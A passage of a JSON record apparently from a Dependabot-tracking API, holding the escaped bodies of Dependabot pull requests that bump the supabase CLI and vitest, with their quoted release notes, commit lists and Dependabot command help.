href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7000\"\u003e#7000\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGateway requests show up in Studio\u003c/strong\u003e — API Gateway logs in Studio now include requests that pass through the local stack gateway. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6942\"\u003e#6942\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003estack destroy --stack-id\u003c/code\u003e accepts multiple IDs\u003c/strong\u003e — e.g. \u003ccode\u003esupabase stack destroy --stack-id a --stack-id b\u003c/code\u003e. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6964\"\u003e#6964\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7000\"\u003e#7000\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLeftover containers from deleted stacks get cleaned up\u003c/strong\u003e — stale containers are removed automatically instead of piling up. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7017\"\u003e#7017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eChanged endpoint ports apply on restart\u003c/strong\u003e — if you change endpoint ports while a stack is stopped, the new ports are used the next time it starts. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6950\"\u003e#6950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDeprecation warnings for \u003ccode\u003edb pull\u003c/code\u003e and \u003ccode\u003edomains\u003c/code\u003e flags\u003c/strong\u003e — you now see a warning at runtime when you use a deprecated flag. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7115\"\u003e#7115\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efunctions serve\u003c/code\u003e defaults to stream-json for agents\u003c/strong\u003e — when running non-interactively, output is streamed as JSON so agent tooling can parse it. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7027\"\u003e#7027\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHeads-up: deprecated config, env vars and import maps will be removed in the next major version\u003c/strong\u003e — the CLI now warns when you use them. Migrate before upgrading to that major. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7154\"\u003e#7154\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eClearer \u003ccode\u003edb remote commit\u003c/code\u003e and \u003ccode\u003einspect db\u003c/code\u003e deprecation messages\u003c/strong\u003e — the warnings now say the features are removed in the next major version. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7108\"\u003e#7108\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMore specific failure telemetry\u003c/strong\u003e — stack and platform failures are classified and named more precisely, which makes issues easier to triage. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7044\"\u003e#7044\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7113\"\u003e#7113\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7137\"\u003e#7137\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7067\"\u003e#7067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003esupabase start\u003c/code\u003e works with Podman when no snippets are present.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7089\"\u003e#7089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStack creates the \u003ccode\u003esupabase_functions\u003c/code\u003e database on the stack backend.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7029\"\u003e#7029\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efunctions serve\u003c/code\u003e overrides apply after the stack has started.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7028\"\u003e#7028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNative Postgres trusts your host CA bundle\u003c/strong\u003e, so connections through corporate or custom certificates work. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7023\"\u003e#7023\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAuth database and stack host connections stay alive\u003c/strong\u003e instead of dropping mid-session. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7080\"\u003e#7080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGateway writes no longer fail under load\u003c/strong\u003e, because they reuse keep-alive connections. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7075\"\u003e#7075\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6981\"\u003e#6981\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eContainers whose host port was taken before start are recreated\u003c/strong\u003e rather than failing to start. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7081\"\u003e#7081\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDatabase helpers are removed when their owner exits\u003c/strong\u003e, so they stop leaking between runs. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7014\"\u003e#7014\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6962\"\u003e#6962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRunning dependents restart when a prerequisite crashes\u003c/strong\u003e, so the stack recovers without a manual restart. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7093\"\u003e#7093\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003epg_cron\u003c/code\u003e jobs run in background workers\u003c/strong\u003e on native Postgres. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7039\"\u003e#7039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDatabase helpers are created by name before they're attached to.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7068\"\u003e#7068\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003esupabase stop\u003c/code\u003e waits for a concurrent Docker prune\u003c/strong\u003e instead of failing. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7143\"\u003e#7143\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7129\"\u003e#7129\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConfig accepts the new Management API Postgres settings\u003c/strong\u003e, so they no longer get rejected. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7056\"\u003e#7056\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7054\"\u003e#7054\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6934\"\u003e#6934\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003ePlus 1 internal improvement and dependency update.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull changelog:\u003c/strong\u003e \u003ca href=\"https://github.com/supabase/cli/compare/v2.120.0...v2.121.0\"\u003ehttps://github.com/supabase/cli/compare/v2.120.0...v2.121.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.121.0-next.2\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/8a549dffa6bc5c88069c61c1f55ef55ad9b82ae2\"\u003e\u003ccode\u003e8a549df\u003c/code\u003e\u003c/a\u003e fix(cli): warn that deprecated config, env vars and import maps are removed i...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/d47510fbd9cf0537020256dee5090a8247e6793b\"\u003e\u003ccode\u003ed47510f\u003c/code\u003e\u003c/a\u003e ci: speed up tests with sticky disks, parallel e2e and on-demand Windows and ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/d68f6d098f8e65a6f2909087fa443bae284eb405\"\u003e\u003ccode\u003ed68f6d0\u003c/code\u003e\u003c/a\u003e fix(cli): wait for a concurrent Docker prune in stop (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7143\"\u003e#7143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/ddb5c6e76dbf24457a10337edbd511a76d78a3e8\"\u003e\u003ccode\u003eddb5c6e\u003c/code\u003e\u003c/a\u003e chore(stack): bump storage to v1.82.1-r0 (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7153\"\u003e#7153\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/2930f6d069ef8cb71f4eeecb495fb18f44a8a765\"\u003e\u003ccode\u003e2930f6d\u003c/code\u003e\u003c/a\u003e docs(cli): port pg-delta reference fixes into db diff and db pull overlays (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/45376daef5a9101a25e425f54054b89d6bdf3a5a\"\u003e\u003ccode\u003e45376da\u003c/code\u003e\u003c/a\u003e fix(cli): name the failing platform operation in defect telemetry (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7137\"\u003e#7137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/cb2985f8de8e385378566b09c8d78ebbdef7b64c\"\u003e\u003ccode\u003ecb2985f\u003c/code\u003e\u003c/a\u003e chore(cli): map db dump, pull, diff and declarative command permissions (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7136\"\u003e#7136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/28dad9c763b2ea3f61439acc0f09b0fa5131a7c1\"\u003e\u003ccode\u003e28dad9c\u003c/code\u003e\u003c/a\u003e chore(stack): bump storage to v1.82.0-r0 (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7140\"\u003e#7140\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/87e47b5effbd1b6743aa6349fcf5f3992eb02125\"\u003e\u003ccode\u003e87e47b5\u003c/code\u003e\u003c/a\u003e chore(cli): map db lint, push, reset and related command permissions (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7135\"\u003e#7135\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/9af6852163a091448c49580570a2c424f250b550\"\u003e\u003ccode\u003e9af6852\u003c/code\u003e\u003c/a\u003e chore(cli): bring the remaining commands under the effect skill (CLI-2693) (#...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/supabase/cli/commits/v2.121.0/apps/cli\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11600\"\u003e#11600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/TESIIITM/TES-Website/pull/85","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/TESIIITM%2FTES-Website/issues/85","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/85/packages"}},{"old_version":"5.0.3","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-24T03:03:12.000Z","version_change":"5.0.3 → 5.0.5","issue":{"uuid":"6008707274","node_id":"PR_kwDOHiBxYs8AAAABKYtvfg","number":352,"state":"open","title":"chore(dev-deps): bump vitest from 5.0.3 to 5.0.5","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T03:03:12.000Z","updated_at":"2026-10-24T03:04:18.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(dev-deps)","packages":[{"name":"vitest","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) from 5.0.3 to 5.0.5.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca 